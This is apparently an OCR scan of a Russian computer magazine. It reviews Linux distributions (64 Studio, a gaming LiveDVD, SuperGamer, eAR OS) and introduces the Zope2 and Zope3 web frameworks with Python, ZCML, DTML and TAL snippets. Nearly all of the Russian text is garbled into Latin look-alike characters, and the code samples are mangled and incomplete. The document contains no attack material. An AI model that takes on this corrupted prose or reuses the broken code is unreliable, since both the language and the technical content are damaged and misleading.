NPEKTMYECcKM He pa3BHBaIoTCS. 3 akTUBHBIX
otMeuy nucTpubytie 64 Studio (445 tudio com),
0CHOBaHHbIW Ha Debian 1 onTiMKarposanHLIi
N5 b4-BUTHRIX crcTem (Ha 32-BuTHelx Takske pabo-
TasT). finpo 3ol OC cobpano c Mcnons30saHemM
nocnenHux RealTime natyeii. B HacTodwes Bpems
MpoeKkT npeanaraeT ABe cTabunbHele BEpCUK
avctpubytvea: 2.0 (LiveCD pazmepom ~600 MB| 1
2.1 [yctanosoyHbIi BapuakT, ~800 MB), natoc BeTky
3 X, Haxo[sLWyiocs B akTUBHO M paspaborke. Kpome
TOro, NPOEKT pacnpocTpaHseT 64 Studio Platform
Development Kit (POK] — cBobogHbIA MHCTRYMEHT,
M03B0M5AILIWA CO20aBaTh PELLEHNA H3 OCHOBE
Debianu Ubuntu.

3peck cTonT 8cnoMHWTs 0 Ubuntu Studio

[ubun

Honelyio noabopky codta ana obpaboTky ayauo,

tud |, KoTOPGLIV TAKXE COnePHUT

BMAE0 1 rpadukn. CmoTpn Bpesky.

Ceivyac atoT ATNpbLICK CTan 4acTbi NpoeKTa
Ubuntu, Mo3TOMY BbIXOAUT MAPaIenbHo C OCHOE-
HblM GUCTRPMBYTHBOM.
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Vnes co3naTh 3TOT ANCTRMDYTHE NCABMNACch Y rpyn-
Ml SHTY3WACTOB, 38038 LUMXCA LINBI0 NPEACTaBUTh
Linux-urpel Ha kondepeHymn LinuxTag. Peaynbra-
TOM [0N3KHO BbIN0 CTaTs PELLeHWE, MO3B0NRAI0Lee
MrpaTh B NONYNsApHBLIE Urpsl npsamo ¢ CO/DVD-
Ovicka, Bes yCTaHoBKM Ha Xap[, 4T0 ¥ OTPaxeHD

& nesy3e npoekta — boot 'n play («sarpysuce n
vrpait»). TpebosaHus, HeCMOTRA Ha KaskyLLyoCs
NpocToTy 38aH 18, bl BolABMHYTE 40BOSLHO
KECTKWE — 3aMnyck Ha bonbwnHeTRe 32-0uTHbIX
CUCTEM C MAaKCMMansHON noanepxkoi obopyno-
BAHWA 1 NPOCTOTON YNpaBneHusa. MiaHa4ansHo
rpynna Beina pazaenena Ha 2 nareps. [lepskii
TECTMPOBAN M3BECTHbIE ANCTPUBYTWBS!, OLIEHKHBaA
pe3syNLTaT; BTOPOA — MbITaNcH CO34aTh BCe € HyNA.
B uTore nepeoi baHie Tak U He yaanocs HaiTh
ONTHMaNsHoe pelleHue (Ho HEKOTopLIi pesynbTaT
BCe e NanyYeH 1 Bckope byneT npoaemMoHcTprpo-
pat). CanepHukam noeezno Bonblie: oHK Co34ank
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ToP FREE NATIVE GAMES ON A LIVE DVD
BY LINUX*BAMERS.NET

IVE NOJIHOCTBID PESNTM3VET

Hy>Hbi# LiveDVD Ha ocHose Arch Linux. Penus, npencraenen-
Heirt Ha LinuxTag 2007, cpasy npuenex BHUMaHWe noceThTenel
1 NOMb30BaNncy 3aMeTHbIM yenexom. Tekyuian epena 0.9.5
cosfnasanach cneyransHo ana LinuxTag 2009.

Ha ctpanwnue 3akaqukm npeanaraeTca 4 BapyaHTa oMcTpMbyTMBa:
Lite ISO (700 M6), Big ISQ (4,7 78], Lite USB [1'6), Big USB (5 I'6).
Cnucok Bcex urp, BXOASLLMX B KOMINEKT, MOXHO MPOCMOTPETL Ha
cTpaHnue Live linux-gamers.net/ ’s=Gan e<. Bee, uto BeigeneHa
KMPHBLIM WPHPTOM, NpeacTasneHo Tonbko B Big. B nepeyne Ha-
xoamm Armagetronad, Extremetuxracer, X-Moto, Urban Terror,
Warsow, Tremulous v npoyuve pagocTu refimepa. B komnnekt
TPEAMLUMOHHO BKIIKYAETCA HECKONEKD BEPCHA MPOTNPUETaPHbIX
npaiisepos ana kapt NVIDIA u AT (370 eguHCTBEHHBIE KOM-
NOHEHTLI, pacnpocTpansiowmecs e nog GNU GPL), a Takke
OTKPHITHIE ApakBepa ANA Apyrkx BMAeoKapT.

B 3arpy3ouHomM Mer0o MoxHo npoTecTuporaTs 03¥Y u CPU, a
Takxe zanycTuts Space Invaders 6e3 zarpysku cucteMsl. B npo-
Lecce npennaraercs eulBpars #3sik packnagky [30ecs nydwe
OCTaBUTL aHrMPCKy0) 1 ykaszaTs enaeoapansep. 3o sce. Ecin
BW/E0KAPTY ONPefenuTh He Yanock, To Nonajellt B KOHCOb.
Huuero cTpaLHoro 8 3ToM HeT. PerUcTprpyeMes C y4eTHol
3aMUChio «garmer» ¢ NyCThIM NMaponemM; N5 HECTPOeK MCNoNb-
3yem «root» C NyCTuiM naponem [y4uThiEas, YT HEKOTOPbIE UTps
CeTeBbIg, 3T0 HE BCTL XOPOLLUO; B PAHHUX Bepcuax Bbin Napons
«123456», Teneps erozavem-toybpanul. Janee ynanaem /etc/
X11/xorg.confu Beogum «startx». Mocne 370ro 0bbiuHo BCe
pabotaer. B kauectse paboyero cToNa Ncnosb308aH Nerkosec-
Hbii Blackbox. [lng 3anycka Mrpsl 4OCTATOMHO HAXKETE HYKHYIO
CCHINKY B MaHENU BHU3Y 3KpaHa MW BoIDPaTs €8 B KOHTEKCTHOM
MEHI0. B 3TOM e MEHIO HaX0OWM ELLE HECKONLKO NPUADKEHNIA —
Firefox, XChat, Xterm, Alsamixer v opyrve. Ecin nnanmpyorcs
ceTessie DaTanuu, BbI3bIBEEM KOHCO/b W 3anycKaem wicd ana
HaCTpoWiky ceTu. Bece npocTe v moHATHO.

JMCTpUBYTUB M3HAYANEHO MIAHKPOBANCH UCKITKUNTENEHOD 418
paboThl C NPUBOAA K HE MMEN MHCTPYMEHTOR LN YCTAHOBKW Ha
Xapf, HO Mo MHOTO4MCNEHHBIM Npocsbam Takyio paboTy ke npose-
u. Kenawoupe moryT ncnons3oBats ckprnt/opt/bin/hddinstall.
CreyeT MOMHWTE, YTO OH HOCKT CTATYC 3KCNEPUMEHTANBHOTO 1 Ne-
Pes YCTaHOBKOM yAANAET BCE faHHble Ha XeCTKOM JMCKe, No3ToMy
©r0 PeKOMEHYIOT N0Ka TONLKO A1H TeCTHPoBaHMs!
AnstepHartusoii linuX-gamers asnaetca SuperGamer
(supergamer

(nepsas Bepcus Buina ocHosaHa Ha PCLINUxO0S]. Anaero

). 30T AMcTpMbYTWE NocTpoeH Ha VectorLinux

3aM1CK 1 MCMoNb30BaHWA NoHaRe0VTCR NPMBOA, NOLLEPKM B~
iomit Dual Layer DVD, Tak kak obpas zaHumaer 7,8 16, B meHio
XFce, noMuMO BOABLIOTO KONWMYECTBA MPUNOXKERUI, HaX0aUM
Apnelkn Ans 3anycka 33 nonynsapHsix vrp: Quake Wars, Doom
3, Prey Unreal Tournament, Quake 4, OpenArena, Btanks,
Supertuxkart, Neverball, Scorched3d, Warzone n .1,
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EAR 0S 1.10B FREE EDITION

OC: EAR 0S 1.10B FREE EDITION

CAVIT IPOEKTA: WWW.EARDS.DK

IATA BbIXOJA: 23 MIGHA 2008 FOJA

TIMLLEH3MSE: GNU GPL

ANTAPATHBIE [IAT®GOPMbI: 1386
CUCTEMHbIE TPEGOBAHHSE: CPU 1 TLL, 256 MB RAM,

37b HDD

OCHOBHbIE KOMNOHERTBI: KERNEL 2.6.24, GLIBC
2.7,GCC4.2.3, UDEV 117, XORG 1.4.1GIT, FIREFOX 3.0,
ATI8.3, WINE 1.0.0

PA3PABOTHOM JMCTPUBYTHBA EAR 05 3AHUMAETCA
JATCKAfl KOMMAHWA AUDIO REALITY, CNELIHANIU-
SUPYHLLAACA HA NPOJIAXE 06OPYA0BAHUA NS
JIOMALIHWX MEAHALIEHTPOB.

lNonb3osatenamnpennaratoTes 2Bepcuu: nnaTHas u becnaatHas,

— obe bazupyiotca Ha Ubuntu, snpe cobparel c Real-Time natyamu.
B Enterprise Edition Heckonbko uamMeHeH ukTepdenc, yayulieHa
MPOM3BOANTENBHOCTS, 8 TEKXKE AOCTYMHSI LOMDHUTEN5HEIE BO3-
MOXHOCTU, BpO/e DUCTAHUMCHHOTO YNIPaBeHna u noanepxkun IEEE
1394 ayouo. 3arpyxaemcs ¢ LiveCD v cTaBvM Ha xapg npy NoMoLLm
MACTEPa, BbI3bIBEEMOTO LLIENYKOM N0 3HaUKY Ha pabouem cTone. B ka-
YECTBE YUETHOM 3aM1CcH pa3paboTUUKY PEKOMEHIYIOT UCMON5308aTh
£3IMUSIC € aHaNornyHbIM Napanem. Mocne sarpyaku aBToMaTiyecku
craptyet Firestarter, nomoras HacTpouTe npasm1ia iptables u pac-
LUapUTL A0CTYN B HTepHeT. B nanensx u Ha paboyem crone Haxogum
HEKOTOPSIE AMMIETHI, N0380NSKLLME 33MYCTHTS NPUITOKEHWE, MPOK3-
BECTU HACTPONKY CETY, BbICTABKUTS TpebyeMoe paspeLleHe 3KpanHa,
YCTaHOBWTE NakeTsl n Apaiisepa 1 Aazke NNy uTb JaHHEIE 0 NOroae.
WHTepdelic uzHadankHo He N0KANKU20BaH, Ho 3TO pelLlaeMo: Bolbupa-
&M B MeHio Language Support 1 B Crivcke — HyxHbIA 536K, BHU3Y
3KpaHa kpacyetcs nanens SimDock ¢ HeckonbkMMIA 3HaYkamK,
MPEAHA3HAYEHHBIMU [IJ15 3aMyCKa OCHORHLIX NpUNoxeHKii: Bpay3epa
Firefox (mocTasnaeTca c nnarvHom Mediaplayer Conneclivity), 28y-
koBoro pegakTopa Audacity 1.3.4b, Megua-npourpeieatens Kaffeine
3.5.9, nporpammsl s 3anucy CO 1 DVD puckeos K3b, dotoopraqaii-
3epa F-Spot, IM-knuenta Pidgin, rpaduueckoro pepakropa Gimp
2.4.5, My3bikansHoro npourpsisatend Exaile n Control Center. Camoia
riepeoi pacnonoxexa kHonka gaa sanycka eAR Media Centre, koto-
PbIA CODCTERHHO 1 ABNAETCH IN1ABHCH 0C0DEHHOCTEI0 LUCTRKBYTMBA.
C ero nomMolLIsH MOKHO NOCMOTRETE BrAee, $oTo, TV, OHNZHH-TpaHC-
NALMI, MOCAYLLETE My3biKy 1 T.0. OTCKoA8 [OCTYMHE BCE OCHOBHEIE
npvnokerns, siouas Skype [KOToporo MoHemMy-TO HET HWA B DAHOM
13 MeHo), Boixop Ha YouTube 1 Flickr. Mimetotca Bce Heabxopmmble
MNarvHbi v Koaeky. HeaocTalowees Nerko yeTaHoBTL MU MOMOLLM
Synaptic; aucTpubytus uenonsayet Ubuntu, Medibuntu n WineHQ
penasuTapin [asto Gonee 15000 nakeTos) 2C

* PYR — nepcoHans-
HbllA BUAEOpEKopLep.

» 0 MythTV umnraii

B cTaThe «CTpoum
AOMaLLHION MEAM-
acTaHumo», onybnu-
KOBEHHOW B MIONbCKOM
Homepe JC 33 2007 rop.

e CTaTbi «Mol yMHbIA
JOM — MOSI KPEMOCTE,
NOCBALLEHHYIO AWCT-
pubytuey LinuxMCE,
YnTal B MIOHBCKOM HO-
mepe 2= 3a 2009 rog.

» 101



CODING

BALWM UNAKOBCKNA SHPAK.VADIM@GMAL

ZOPE2

B 1998 rogy cotpyaHmnky komnaHuu Digital
Creations, Pythan-cneuwanwucry, Dxumy Qyntony
B0 npeanoxero npoduTats ekumio no CGI
[cTangapT uHTepdeica, Mcnonb3yeMoro ans
CBA3W BHELWHe NporpaMmel ¢ seb-cepsepom — B
To Bpems 6bin cTanaapTom ans MuToHa B eefie).
CornacHo neresfe, oH Huuero o CGlHe 3Han, n
€ro Ha4asbHUKy, NoKa OHW NeTeNy B CamoneTe,
nNpuULNock pacckazate emy ocHosel CGI. C 3ol
nekumneid Qyntor 1 BLICTYNIN Ha KOHGEPeH-
LMK, [0BOPAT, UTO NPOTOKON YKACHY ET0 CBOE
Ype3mepHOW MPOCTOTON, U OH PeLLMS CO3AaTh
yT0-HMBY AL 0BBLEKTHO-0pUEHTUPOBaHHODE. Tak
Havanace uctopus Zope. Bckope koMnanug
Digital Creations nepeumeHcBanacs B Zope
Corpaoration v Ha4ana BoiMyckaTs CBOA MPOAYKT
nog cobcreeryoi Open Source nuueH3snen ZPL.
[eHbru xe oHy 3apabaTbiBa0T 38 CHeT CO3AaHNA
caiTos v koHcyneTaumid. B 2000 ropy B ee cocTas
BOLLNW cO3paTent a3sika Python, koTopsix Bo3-
rnasnsn [Buao 8aH Poccym (mpasna, cam Meuao
npobein B Zope CorporationTonsko go 2003 roaa,
Moc/e 4ero yBeuncs 1 cei4ac 6aaronony4qo
pabotaer B Google). Zope? npuobpen Gonbluyio
nonynspHocTE Bnarogaps CBoKM 0CoBEHHOCTAM.
Bo-nepBsix, AaHHbIE NPeLCTEBAANMCE B BULE
obbekToB (410 BbiN0 HeTUNMYHO AnA Bebal, a
BO-BTOPbIX, NOABUNACE BO3MOXHOCTL HAaCTpau-
BaTb KOMMOHEHTB! HaNPAMYIo Yepes bpayaep.
[lna HanvcaHwa NpocToro NprNoXKEHNA CTaNo
TpeBoBaTLCA rapasao MeHsLIe 3HaHuii u cun. Ho
nepexof K BonbLIKM Cepbe3HbIM NPoeKTaM yxe
6b1n He Tak-To npocT. [NosBMACS Aaxe TeEpMUH
«Z-0bpazHas KprBas obyueHus», KoTopkIn
03Havaer, 4To noHa4asy Zope cuabHo obneryaet
SKW3Hb, HO 2aTeM TpebyeT BonbLUnx yeunumn gns
noHuMaHus Mofenw paspabotku. MNocne npo-
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Z0PE

XOXOEeHWA 3TCr0 3Tana paﬁmarb G ZOpE CHOBa
CTaHOBUTCA nerve.

ZOPE3

Mpoekt Zope3 Havyanca B 2001 rogy, koraa Zope
Corporation skcnepuMeHTUPOBaNa ¢ KOMNOHEHT-
HOW apxuTexTypoi. [nasHoi Lenbko brino pasbue-
Hue obbekToB Zope2, KoTopsle CUNbHO pa3pacTa-
nvce B obbeme, Ha Bonee Menk1Me — KOMMOHEHTH.
[lpyroii uensio cTanc craaxveaxne KpUBoi
obyyeHvs: ZopeZ Bein CAULIKOM CNOXHbBIM, 4TODGI
BHELPUTb B HETD KOMMOHEHTHYD apXUTEKTYpY.
lMo3ToMy MPUHANK peleHne NCNHOCTbIO ero nepe-
MUCaTh, BKIYWE B HOBBIA NPOSKT KOMMNOHEHTHYIO
apXUTEKTYPY W BCe CMNbHbIE CTOPOHLI Zope?. Tak
noaeuncsa Zope3, 06pa308aB fBS BETKM Mpo-
aykToB Zope, KoTopele He obnaganu obpathoi
COBMECTUMOCTLIC.

OpnHako Deino yxe HanucaHo CIULLKOM MHOIO
kofa nog Zope?, 4ytobel 3abpocKTe 3Ty BeTKy. B
pe3ayntTate, obe BeTkm pazpabaThiBaloTca na-
pasnensHo [Ha cenTabps 2009 ropa nocnegxmrMu
cTabunbHbIMK BEpCKsMK SBASAKMCL 3.4.01 2.11.3).
HoeoBeeneHwa s Zoped CAWILIKOM 3aMaH41BkI,
41066l Mx urHopupoBaTe. Mo3ToMy Bein 3anyLLeH
npoekT Five, <0Tops!ii N03BONAN MCNONB30BATL
HekoTopble TexHonorun Zoped B ZopeZ. Five Buin
WHTErpUpoBaH B ZopeZ, HaunHas c sepcun 2.8

C kaxaoi HoBoW BepcKelt B Zope?2 cTaHOBMTCA
BO3MOXKHbLIM MCNOAL30BaTL Bce bosbuie v Bonsuie
duwek Zope3.

[Hanee s byay paccmaTpuBaTs MMeHHo Zope3.

OCHOBHbIE KOHUEMUWKA

B ocHoBe MHorux ocoberHocTen Zope NexuT ero
0bBEKTHO-0PUEHTMPOBAHHOCTh:

e Zope-npunoxenue npeactaenaet coboi
KOMNEKLMIO KOMMOHEHTOB — 0BLEKTOB, C YeTKo

33/1@HHON PYHKUWOHENbHOCTBIO, KOTOPaA OMNKChI-
BAETCH C NOMOLLLK MHTepdeRcoB.

o Kax bl KOMTOHEHT MOXHO 3aMEHUTE HA N0DOoIA
LPYIof € Takum xe nHTepdencoM [MoxHO Npo-
BECTW @HaN01I0 C MOAensK npoeanaepos B ASP.
NET]. TakiM 0Bpazom, KEMIOHEHTbI BEIMONHAOT
OIWH W TOT e PyHKLWOHAN, HO Pa3HBIMW CNOCO-
Bamu. Anporpammmct seibupaeT ua Hux Hanbonee
NoaXoAALLLKIA,

¢ [laHHble Takske NpeAcTaBnaloTcea B e 0bb-
eKTog, KaTopble xpatatea 8 ZOBD (Zope Object
Database).

o MouHsiid Mexadusm HTML/XML-wabnoHos.

e LlInpokue BOZMOXHOCTH AR TECTMPOBAHUS.

e MHorve 13 guiek Zope MOXHO MCMoNL30BaTL

W BHe ero.

KOMIMOHEHT KOHTEHTA

Zope-rpunoKeH1e COCTOMT M3 KOMMOHEHTOB.
OfvH V3 TUMOB KOMMOHEHTOE — 3T0 KOMMOHEHT
koHTeHTa. OH NpeaHa3HaueH A5 xpaHeHns
gaHHeix. OTBEYaeT 3a XpaHeHue U angenT, Ho He
3anpeAcTaBneHua fanHsix unu nx obpabotky.

C ero NoMolLbie AaHHbIE OTAENAIOTCA OT I0TUKH

U NpeacTasnenus. Ho Takxe eCTb BOIMOXHOCTb
XPaHUTL AaHHEIE NpeXHNM cnocofom, Hanpumep
B pendunorHHoi basze naHHbix. B s3ToM cnyuae Zope
npegocTapafeT MexaHusm ORM, € noMmoukko ko-
TOPOro MPGUCXDAMT KOHBEPTALMUA PEAALIMOHHbIX
AaHHbIX B 06beKTh 1 HaoGopoT.

AQANTEPbIUYTUNIUTDI

Apantep — 370 0BLEKT, KOTOPbIMA CYXUT CBOETa
POAE «MEPEX0HIKOM» MEXIY ABYMA DY MU
0BbeKTaMK, KOTopble M3-3a pasHeIX UHTepdeicos
He MOryT B3aWMOLeRCTBOBaTE Hampamyt. 1o
CYTW, aflanTep NpeBpaLlaeT Bbi30BbI BHELIHero
00beKTa B Bbi30BLI METO0B BHYTPEHHEro.
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YTUNUTA OTAWYEETCA OT afaNTepa TEM, 4TO HE B3ZMMOSIHCTRYET C ADYIViMU
KOMIMOHERTEMY, 2 NPOCTO NPEeLoCTEBNAET HEKOTOPYI0 OYHKIMOHANBHOCTS.

KOHOUIU

Bee KOMMOHEHTL! PErUCTRUPYIOTCA B CNELMANEHOM PEECTpe KOMIOHEHTOE.
KpoMe MHbOopMaLLMK © 38perucTpUpeBaHHbIX KOMNOHEHTaX, TaM TaKxKe xpa-
HATCH HACTPOMKW NPUAOKEHUA — KCHGWTKW. [INa perucTpaumn MCnob3yerca
crieumansHbi XML-nonobHei a3bik pasMetcn ZCML (Zope Configuration
Markup Language]. Dain koHpUrypaLmMm MMEeT UM 1 pacllpeHue
configure.zeml v pacnonaraeTca B nanke npoexra. [Ins skloyeHWa npoekTa
B COCTaB [18MCTRYIOLLMX AOCTYNHLIX N3KETOB Zope HeobX0aUMO A0MONHM-
TensHo B nanky elc\package-includesh akzemnnsipa cepeepa noMecTHTs
baiin c uMmeHem my_project_name-configure.zcml, cogepxaliiii CTpoky
<include package=«my_project_name»/>.

DTML

Document Template Markup Language (DTML] — cpeicTeo cozaanys
CTpaHM4HbIX WaBNoHOE, KOTOPSIE NOANEPKKBEIOT AYHAMUHECKA A KORTEHT.
O+ OCHOBaH Ha Terax 1 CKPUMNTOBOM A3bIKE, M MCNONb3YETCH Ha CTOpOHe
cepeepa (8 oTnuume ot JavaScript, koTopsiit paBoTaeT Ha CTOPOHE kuekTa).
DTML-Tern noppepxveaiot 4ea bopmata: Extended Python format strings
[EPFS)u HTML. ®opmaT EPFS ccHoBaH Ha 3aK104eHUM MUTOHOBCKWX CTPOK
TekcTa B Kpyrible ckobku ans 33naHna rpanuvu bnokos kopa. [lononwu-
TenkHsIA NapaMeTp GopMaTHPoBaHIA MO3BONRET YKa3aTb AeTanK npecd-
pa30BaHuA faHHsIx; HarnpuMep: %ldate fmt=DayOfWeek upper]s nossonser
npeobpazoBars AaTy Kak AeHb Hefenu aarnasHbiMK Bykeamu. Dopmat HTML
neronesyeT ciHTakewe HTML Ha cTopoHe cepaepa 418 KOAMPOBaHWUS KOMaH
BCTABKW TEKCTOR 8 hopMupyeMblil fokyMerT. Kak n HTML-terun, ter DTML
MOXET CONEePXaTh CNMCOK AaTpUBYTOB C NPUCBOEHUEM 3HaYBHW [nMs aTpy-
ByTa MOXHO He yka3blBaTh]. [lng npuMepa, Nony4MM MHOOPMALLMIO O TEKYLLEM
3anpoce KNKWeHTa ¢ nomMollsio obsexta REQUEST. [na storo Heobxogumo
cozfare cTpaHuuy DTML cnenyowero eupa:

<html>
<body>
<dtml-var REQUEST html_cuote:>
</body>

</html>

ZPT

DTML-crpanuLsl iMeloT psg He[oCTaTKOB, MaBHbLIN 13 KOTOPLIX TO, YTO 0HW

He npeaHa3HayeHbl ANA Aun3akiHepo., paboTtawowmx c HTML. Kak Tonbko Ha
HTML-crpanvye nosensetcs kog DTML, pesynetar 0bui4r0 CTaHOBMTCA
HENPUrofHLIM AnA pefaxkTopoe 1 bpaysepor. B DTML He coscem yaa4Ho pas-
AeneHbl npeAcTaBneHue MHoPMaLMK, Norkka GopMKYPOEaHWA AOKYMEHTE W
KOHTEHT, 13 KOTOPOro ACKYMEHT QOPMUPYETCH. 3TO MOXKET 3aTPYAHUTL MaCcLITa-
fupoBanme cogepxmora n paspaboTky camoro caiita. HakoHel, Mogens npe-
ctpaxcTsa umed 8 DTML MMeeT cRnLKoM MHOTO CKPLITEIX HI0aHCOE Npy paboTe
c 0fbexTaMu W He AoMYCKaeT MeNHOro MPOrPEMMHOND YIIPABIEHWS NOKCKOM.
Mo nporvozamasTopos Zope3, A3sik DTML nuweH B Bynyiem nepcnexkT1s v
Byaerynanet. [oaxonsiien anstepHaTMBoi ABARIOTCA CTRAHWYHBIE WaboHb
ZFT [Zope Page Template], npu paboTe ¢ koTODbLIMK NPUXCANTCS MMETE A0 C
a3blkom TAL — paclumpermvem asslika HTML/XML. Otniuue ot XML B TOM, UTo
aTpubyTTera HauMHaeTcs C KNUeBoro cnosa tal v oTgendeTca oT UMeru one-
patopa feoeToduem. SHaueHue aTpnbyTa 3aknioyasTcs & kagblukM. Braoue-
HWE TEKCTE MOXET NPOU3BOAMTECH ABYMA CrocoBamu: 3aMeHCl Tera n 3aMeHon
COAepKMMOra Tera. 3aMeHa Tera Ha 3HaueH e NPoU3B0AATCH ONepaTogoM
tal:replace = sbipaxeHve. Ecnu HeobxoguMMo BKAKUMTE TEKCT BHYTPY Tera, Ho
OCTaBWTL CaM Ter, To Ucnons3ayeTea onepartop tal:content = selpaxeHme. Ha-
MpVMEPR, BO hparMenTe:

<head>
<title tal:content="template/title">
The Title
</title>

</head>
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Ipozpassnt e Python

Peauemp wimepgheiicos Zope Humepdhetic

[ Tims | Peanusauns | class IClass1(IMas... )
IClassl | Class! | uu;\l

.
osnonennt
fr—

Konghuaypguus na ZCML
<configure . . .
<gontent clas

<'content>
<browser:
for=".

>
</configure>

<body>

N\
Adcanmep ua Prrim;:\
class AClass
= Doe
def propl

<... tak:replace= =
ntent="view/prop!" ...>

1-

<'body>
< html>

CTPYKTYPAZOPE-NPUNOXXEHUA

— Braynelid Ter title Bynet octagnex, Ho ero cogepxknmoe «The Title» byget
3aMeHeHo 3HaueHneM atpubyra «template/title». Kpome toro, cyljecrsyer
MHOMO APYFUX MoNe3Hsix onepatopos (Hanpumep, repeat, 4na UMKNOB, U

condition, ana nposepku ycnosuiil.

WHTEP®ENUCHI

Mrtepdeiic B Zope BbIMOMHAET TAKME e GyHKLMK, UTO 1 MHTepdeiicsl Java

unu C#. Mutepdeiic onpeaenneTcs Kak MUTOHOBCKMIA KNace, HacredyemMbli

oTcneumansHoro knacca Interface. [pegnonoxum, 4To HaM HaAo cozAaThb

MPOEKT KHKTK peLenTos. BoT kak byer BelraneTs MHTepdeit Ang nonyde-

HWA MHGOpMaLK 0 peLenTe:

zope.interface Interface
IRecipeInfo(Interface) :

"wvgive information about a recipe. """
getName () :

"vrReturn the name of the dish."""
getIngredients ()

"svpeturn a list of ingredients."""

WMHTepdelcsl, kak u knaccsl, MofOepx1BaioT HacnefoBaHune. Ecnn tpebyetca
W3MEHATL CONEPXMMOR PELLENTa, MOXHO ONPeeuTh CeayiolLni nHTep-
delic, koTopsii ByaeT BkNo4aTL MeToAL UHTepdeiica |Recipelnfo:

TRecipe (IRecipeInfo) :
"viGive and store recipe’s information."""
setName (name) :
"mnget the name of the dish."""
setTngredients (ingredients) :

"vuget the recipe’s ingredients."""

ECnM KOMMOHEHT XOUET PEANN30BaTE ONpPefeneHHbsIi uHTepdeiic, Haao Ucnonb-
30BaThL TAKOW CUHTAKCKUC (BOIMOXKHA Peanu3aLms HECKObKMX wHTepcbefﬂCDEl]:
zope. interface i implements
worldcookery. interfaces inj IRecipelnfo
RecipelInfo(object) : implements (IRecipelnfo)
lef  init_ {(self, name=u'', ingredients=[]):
self.name = name
self.ingredients = ingredients
i getName (self) :
self.name
getTngredients (self) :
1 eelf.ingredients
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DTHL crpunnn
afix

et

| Mynmoaonod fults

o http://zope.org —
opULUManLHLIA canT.

* http://wiki.zope.org/
Wikl —
ecnu HeT npobnem
CAHTAWMACKUM, TO
30,8Ch MOXKHO HAWTK
MHOID NOSIE3HOIr0.

zoped/Zopel

U — pyccko-
A3bIUHBIE PECYPCHI.

INFO

b info

e Kop Zoped cofepxut
Bonee 5000 asTomMa-
TUYECKUX TeCTOE, 4TO
IHAYNTENLHO yBRAU-
4nBaeTero crabuns-
HOCTb, ocobeHHo Npn
BHECEHWUM KPYMHBIX
W3MEHEHMIA.

* B 2006 roay nosigmnn-

cs1 Grok — naenHblin
npoponxatens Zope3!
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Hazmegear
g DTMLFage

T W dekmg 3006051352 0307.05415

o it
3000051346 03.07.05442

02.07.05 1452 |02.07.05 1450
0307851558 02.07.05 1401

B otnuyve ot Java nnn C# uHTepdelicoB, knacc, KoTopsil pea-
nusyeT Zope-uHTepderic, He oba3an onpedenaTh BCe MeTob!
31010 MHTEpdEiica. Ownbka BOSHUKHET TONLKO BO BDEMA Bbl-
NONHEHWA, KATLa NPOV30AAeT 0BpaLLEHNE K HEONPELENEHHOMY
METOLY.

B Mogyne zope.interface ecTb HeCkonbKo None3Hsix
meTonoe. Hanpumep, metog alsoProvides(obj, [Recipel
nognuceisaer o6wekT obj (1 Tanbko obbexT, a He knacc!]

Ha BeINONHeHWe uHTepdeiica IRecipe. Ytobsl coenats To

e camoe [1s Bcero knacca Recipe, HeobxoanMo Bbl-

3gats MeTop classimplements(Recipe, IRecipe). MeTop
verifyObject(IRecipe, obj] u3 monyns zope.interface.verify
npoBepseT, peanu3syeT 1u 00beKkT MHTepheic MoNHOCTEI0.
MeTog verifyClass BuinonHseT Takyio xe pyHKLMIO ANs Knac-
COB.

CXEMbI

OnucanHbIi BoILLE NOAX0A C oNpefeneHreM MHTepQercor
cget- 1 set- METOAEMU He OUEHb NUTOHMYEH, 0COBEHHD 4A
npocTeix 06beKTOB, KOTOPBIE NPOCTO XPaHAT fakHbIe. Ong
NUTOHOBCKKX 0BbekTOB xapakTepHa pabota c aTTpubyTamu Ha-
npsimyo. Peaniayercs ¢ NoMoLLbIo MEXaHW3ME CXeM Cleayio-
LM 0bpasom:

1 zope.interface import Interface

=

1 zope.schema import List, TextLine
el
name = TextLine(

ss TRecipe(Interface) :

title=u"Name" ,

description=u"Name of the dish",

ue)

ingredients = List(title=u"Ingredients",

required="7:

description=u'"List of ingredients.",
required=True,
value type=Textline(title=u"Ingredient"))

B nefcTBUTENEHOCTY, CXEMBI SIBNRIOTCA TEMM XKE CaMbIMU NH-
Tepdercamy, No3TOMY OTINUME MEXY HUMM TONBKO BHELLIHEE,

YCTAHOBKA

1) Yerarosus [1ToH [ecin BapyT oH BCe elle He cTouT).
2)YerarosuTs Zope [yCTaHoBLMK MOXHO CKAUaTh C OhHLMEN 5=
HOro caiita unu B3aTh Ha Ancke).

3) Y1066 HavaTs paboTatk ¢ Zope, Heobxoayme coszgars, No
KpaiiHei Mepe, 0aWH 3k3eMnnsp Zope-cepeepa, KoTopbli Kpo-
Me CEPBEpa TaKXKe COASPAKNT 3K3eMmnap 6azbl faHHbIX [HKYKTO
He MelLLaeT Co34aTh HeCKoNLKa Takkx akzeMnnapos). Jng storo
HY>XHO 3anycTuTe mkzopeinstance.bat, koTopelid HaxoguTcs B
narke <Pythan_dir>/Scripts, ykasaTs ArpekToprio 3K3eMnnapa
CepBepa, MMsA agMUHUCTPaTopa 1 Napens. CkpWnT co3gacT 8

YKa3aHHOW DUPEKTORUKM HeobXoguMble AN GyHKIMOHMpoBa-
HWA cepeepa Gakinbl v Nanku.

) [ns 3anycka cepeepa Hado 3anycTuTs ckpunT bin/runzope:
[waum runzope.bat e Windows). Cnocob xopoLu npn paspabotke

] MPUNOKEHWA U HE NOAXOAWT 14 3aM1yCKa roToBOro Npoaykra,

Tak Kak 0H CBAzaH c TepMuHanoM. Ytobel cepsep pabotan v npw

3dKPbLITUM TEpMKUHANE, €70 HEOEXO,D,MMO 3anyckaTh C NOMOLLLID

ckpunTa bin/zopectl c napamerpom start. Jng ocTaHoBKY 3any-
CTUTOT 3KE CKPUIT C napameTpoM stop. Ho pabotaeTTonsko Ang
Unix-crctem [nog Windows HyxxHo nposecTy bonee cnoxHbie
MaxiHaLmul. —

_' 5) [1ns cozpaHus HoBOrO NpoekTa HeobxoarMo Co3aaTh AUpeK-
| Topuic <Zope_server_dir>/lib/python/<app_name=.

6) OpHa 13 ocoberHocTel Zope — ero uHTepdelic ynpasneHus
[ZMI), koTopEIl goCTYnEH nocae 3anycka cepeepa no afpecy
http://localhost:8080/manage.

OCHOBHbIE ®AANbI

Zope3ycTaHaBvBageTCs, kak v BCe NpuKkiagHsie nakeTs [iTorHa, B
ranky <Python_dir>\Lib\site-packages, — vacTis uHcTannsumon-
HbIX bainog pacnonaraeTcd B nanke <Python_dir=\Scripts. B an-
peKTOpWI 3K3eMNNspa calita umeloTca manku bin, etc, lib. loguvar.
